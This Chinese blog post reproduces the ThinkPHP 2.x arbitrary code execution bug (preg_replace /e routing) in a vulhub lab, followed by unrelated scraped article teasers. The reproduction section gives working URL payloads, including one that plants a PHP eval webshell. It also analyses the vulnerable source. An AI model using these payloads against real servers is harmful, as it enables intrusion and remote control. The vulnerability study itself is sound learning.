【vulhub漏洞复现】Thinkphp 2.x 任意代码执行
一、漏洞详情
影响版本 thinkphp 2.x
但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞,所以也存在该漏洞
漏洞原因:
e 和 /e模式匹配路由:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
再看看preg_replace这个函数
preg_replace('正则规则','替换字符','目标字符')
就是讲目标字符根据正则规则替换成替换字符
当preg_replace使用了/e模式,可以导致代码执行。该函数的正则规则和目标字符可以由用户进行输入。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符(第二个参数)当做代码来执行。
举个例子
官方 payload 为 /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}}
原先的语句: preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
最终strtolower("\\1")被执行,相当于 eval(‘strtolower(“\1”);’) 。
strtolower():把所有字符转换为小写
也就是结果是\1,而\1在正则表达式中指定的是第一个子匹配项,phpinfo()就会被成功执行
在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
二、复现过程
搭建docker环境
docker-compose up -d

写入phpinfo
http://192.168.239.128:8080/index.php?s=/index/index/xxx/${@phpinfo()}

写入一句话木马
http://192.168.239.128:8080/index.php?s=/index/index/name/${@print(eval($_POST[cmd]))}

报错但是已经写进去了

连接成功

代码分析
复现是完成了,但是那个payload是怎么构造出来的呢
// 分析PATHINFO信息self::getPathInfo();if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));$var = array();if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {// 禁止直接访问分组exit;}}if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称$var[C('VAR_MODULE')] = array_shift($paths);}$var[C('VAR_ACTION')] = array_shift($paths);// 解析剩余的URL参数$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));$_GET = array_merge($var,$_GET);}
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
意味着每次会取出两个参数,第一个参数作为var数组的下标,第二个参数作为该下标数组的值(也就是只要你的代码放在偶数位就会被当成数组的值执行)
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
当数组$var在路径存在模块和动作时,会去除掉前2个值,所以我们构造的payload的数组的值需要大于2且想要执行的代码需要放在偶数位。
故可以构造payload:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
……
至于s是怎么来的:
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值…]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]
这篇文章写的非常详细,我也就是照猫画虎,理解最重要。
https://www.freebuf.com/column/223149.html
三、总结
为什么${}会执行?在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称,那么这个函数就会被执行。
希望能从漏洞复现中学习到挖漏洞的思路和技巧,不知道什么时候才能真真正正地有自己挖洞的实力了嗨嗨害。
学习新思想,争做新青年。
每天给自己来碗鸡汤。
相关文章:

【vulhub漏洞复现】Thinkphp 2.x 任意代码执行
一、漏洞详情影响版本 thinkphp 2.x但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞,所以也存在该漏洞漏洞原因:e 和 /e模式匹配路由:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式,…...

LeetCode 1145. 二叉树着色游戏 -- 简单搜索
二叉树着色游戏 提示 中等 199 相关企业 有两位极客玩家参与了一场「二叉树着色」的游戏。游戏中,给出二叉树的根节点 root,树上总共有 n 个节点,且 n 为奇数,其中每个节点上的值从 1 到 n 各不相同。 最开始时: 「一…...
HyperGBM的三种Early Stopping方式
本文作者:杨健,九章云极 DataCanvas 主任架构师 很多机器学习框架如都提供了Early Stopping策略,主要用来防止模型过拟合。和模型训练提前停止的目标不同,AutoML的Early Stopping策略更多考虑的是算力消耗和模型质量的平衡。 通…...

心系区域发展,高德用一体化出行服务平台“聚”力区域未来
交通,是城市的血脉。通过对人、资源、产业的连接,交通建设往往是城市和区域经济发展的前提。不过,在度过了“要想富,先修路”的初级建设阶段后,交通产业内部也出现了挑战,诸如城市秩序、发展成本、用户使用…...

AI画图_stable-diffusion-webui安装使用指南(1)
本文章适用于: 有一定学习能力和钻研能力,遇到问题能合理使用搜索引擎尝试解决问题的人想在windows系统中尝试使用AI作画工具stable-diffusion-webui进行绘画的人有一定的计算机基础(会魔法上网、知道 python和Git)和英文阅读能力的人显卡为…...

浅谈MySQL主从复制
目录 1.MySQL主从复制是什么 2.MySQL主从复制的意义 3.MySQL主从复制原理 4.数据同步一致性问题 5.实现方式 1.MySQL主从复制是什么 MySQL主从复制就是指数据可以从一台MySQL的主节点复制到一个或多个从节点。 MySQL默认采用异步复制方式,这样从节点不用一直访…...

docker-compose安装kafka和php简单测试
docker-compose.yml内容: version: 3.1 services: zookeeper: container_name: zookeeper image: zookeeper:3.6 ports: - 2181:2181 kafka: image: wurstmeister/kafka container_name: kafka depends_on: - zookeeper …...
【蓝桥云课】快速幂
问题描述:快速求aba^bab 方法一:常规方法相乘a∗a∗a∗a∗...∗aa*a*a*a*...*aa∗a∗a∗a∗...∗a 方法二:分治方法求aba^bab ab{1,b0a,b1ab2⋅ab2,b为偶数ab−12⋅ab12,b为奇数a^b\begin{cases} 1& \text{,b0}\\ a& \text{,b1}\\ a…...

解决windows安装wxPython安装失败、速度过慢及PyCharm上wx包爆红问题
网上关于wxPython安装失败,安装速度过慢,以及安装成功后PyCharm中import wx仍然爆红的文章有很多,也特别杂,解决起来特别困难,今天在这里对问题的处理进行一个整合,希望能帮助到大家。 安装wxPython这里运用…...

封装小程序request请求[接口函数]
在这篇小程序API的Promise化文章中讲到小程序官方提供的异步API都是基于回调函数来实现的,在大量的使用这种回调函数就会造成回调地狱的问题,以及代码的可读性和可维护性差,通过对小程序API的Promise化能解决,那么本篇是来讲进行对…...

嵌入式 STM32 通讯协议--MODBUS
目录 一、自定义通信协议 1、协议介绍 2、网络协议 3、自定义的通信协议 二、MODBUS通信协议 1、概述 2、MODBUS帧结构 协议描述 3、MODBUS数据模型 4、MODBUS事务处理的定义 5、MODBUS功能码 6、功能码定义 7、MODBUS数据链路层 8、MODBUS地址规则 9、MO…...

互联网人看一看,这些神器你用过哪些?
很多小伙伴在剪辑视频的过程中经常可以看到一些语音素材,经常刷视频的小伙伴也可以看到很多视频中经常出现一些AI合成的声音或者音效,这些配音可以给视频增添很多亮点!那么大家都是怎么将文字转语音的呢?今天给大家分享5款非常专业…...

Kotlin学习:5.2、异步数据流 Flow
Flow一、Flow1、Flow是什么东西?2、实现功能3、特点4、冷流和热流5、流的连续性6、流的构建器7、流的上下文8、指定流所在协程9、流的取消9.1、超时取消9.2、主动取消9.3、密集型任务的取消10、背压和优化10.1、buffer 操作符10.2、 flowOn10.3、conflate 操作符10.…...

EPICS synApps介绍
一、synApps是什么? 1) 一个用于同步束线用户的EPICS模块集合。 2) EPICS模块 alive, autosave, busy, calc, camac, caputRecorder, dac128V, delaygen, dxp, ip, ip330, ipUnidig, love, mca, measComp, modbus, motor, optics, quadEM,…...

Pycharm和跳板机 连接内网服务器
Pycharm和跳板机 连接内网服务器 建立配置文件 本地配置 .ssh 文件夹下配置 config 文件 Host jumpHostName xxxPort 22User xxxServerAliveInterval 30IdentityFile C:\Users\15284\.ssh\id_rsa # 通过密钥连接Host server # 同样,任意名字,随…...

mysql去重查询的三种方法
文章目录前言一、插入测试数据二、剔除重复数据方法1.方法一:使用distinct2.方法二:使用group by3.方法三:使用开窗函数总结前言 数据库生成环境中经常会遇到表中有重复的数据,或者进行关联过程中产生重复数据,下面介…...

PHP反序列化
文章目录简介POP链构造和Phar://题目[CISCN2019 华北赛区 Day1 Web1]Dropbox字符串逃逸简介 php序列化的过程就是把数据转化成一种可逆的数据结构,逆向的过程就叫做反序列化。 php将数据序列化和反序列化会用到两个函数: serialize 将对象格式化成有序的…...

什么蓝牙耳机打电话效果最好?通话效果好的无线蓝牙耳机
2023年了,TWS耳机虽说近乎人手一只了,但用户换新的需求和呼声依然热火朝天,因为我们想要听音乐、刷视频的时候都得准备,下面整理一些通话效果不错的耳机品牌。 第一款:南卡小音舱蓝牙耳机 动圈单元:13.3m…...
Tesseract centos环境安装,基于springboot图片提取文字
下载tesseract-orc https://github.com/tesseract-ocr/tesseract/tags下载leptonica wget http://www.leptonica.org/source/leptonica-1.78.0.tar.gz解压leptonica tar -xvf leptonica-1.78.0.tar.gz 配置编译安装leptonica 进文件夹 ./configure make make install安装aut…...
Elasticsearch7.8.0版本优化——写入速度优化
目录一、 写入速度优化的概述二、如何写入速度优化2.1、 批量数据提交2.2、 优化存储设备2.31、 合理使用合并2.4、 减少 Refresh2.5、 加大 Flush2.6、 减少副本的数量一、 写入速度优化的概述 ES 的默认配置,是综合了数据可靠性、写入速度、搜索实时性等因素。实使…...

CTF show Web 红包题第六弹
提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框,很难让人不联想到SQL注入,但提示都说了不是SQL注入,所以就不往这方面想了 先查看一下网页源码,发现一段JavaScript代码,有一个关键类ctfs…...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...
基于数字孪生的水厂可视化平台建设:架构与实践
分享大纲: 1、数字孪生水厂可视化平台建设背景 2、数字孪生水厂可视化平台建设架构 3、数字孪生水厂可视化平台建设成效 近几年,数字孪生水厂的建设开展的如火如荼。作为提升水厂管理效率、优化资源的调度手段,基于数字孪生的水厂可视化平台的…...

视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...
【学习笔记】深入理解Java虚拟机学习笔记——第4章 虚拟机性能监控,故障处理工具
第2章 虚拟机性能监控,故障处理工具 4.1 概述 略 4.2 基础故障处理工具 4.2.1 jps:虚拟机进程状况工具 命令:jps [options] [hostid] 功能:本地虚拟机进程显示进程ID(与ps相同),可同时显示主类&#x…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...
Fabric V2.5 通用溯源系统——增加图片上传与下载功能
fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...

人工智能(大型语言模型 LLMs)对不同学科的影响以及由此产生的新学习方式
今天是关于AI如何在教学中增强学生的学习体验,我把重要信息标红了。人文学科的价值被低估了 ⬇️ 转型与必要性 人工智能正在深刻地改变教育,这并非炒作,而是已经发生的巨大变革。教育机构和教育者不能忽视它,试图简单地禁止学生使…...
SQL慢可能是触发了ring buffer
简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...

并发编程 - go版
1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...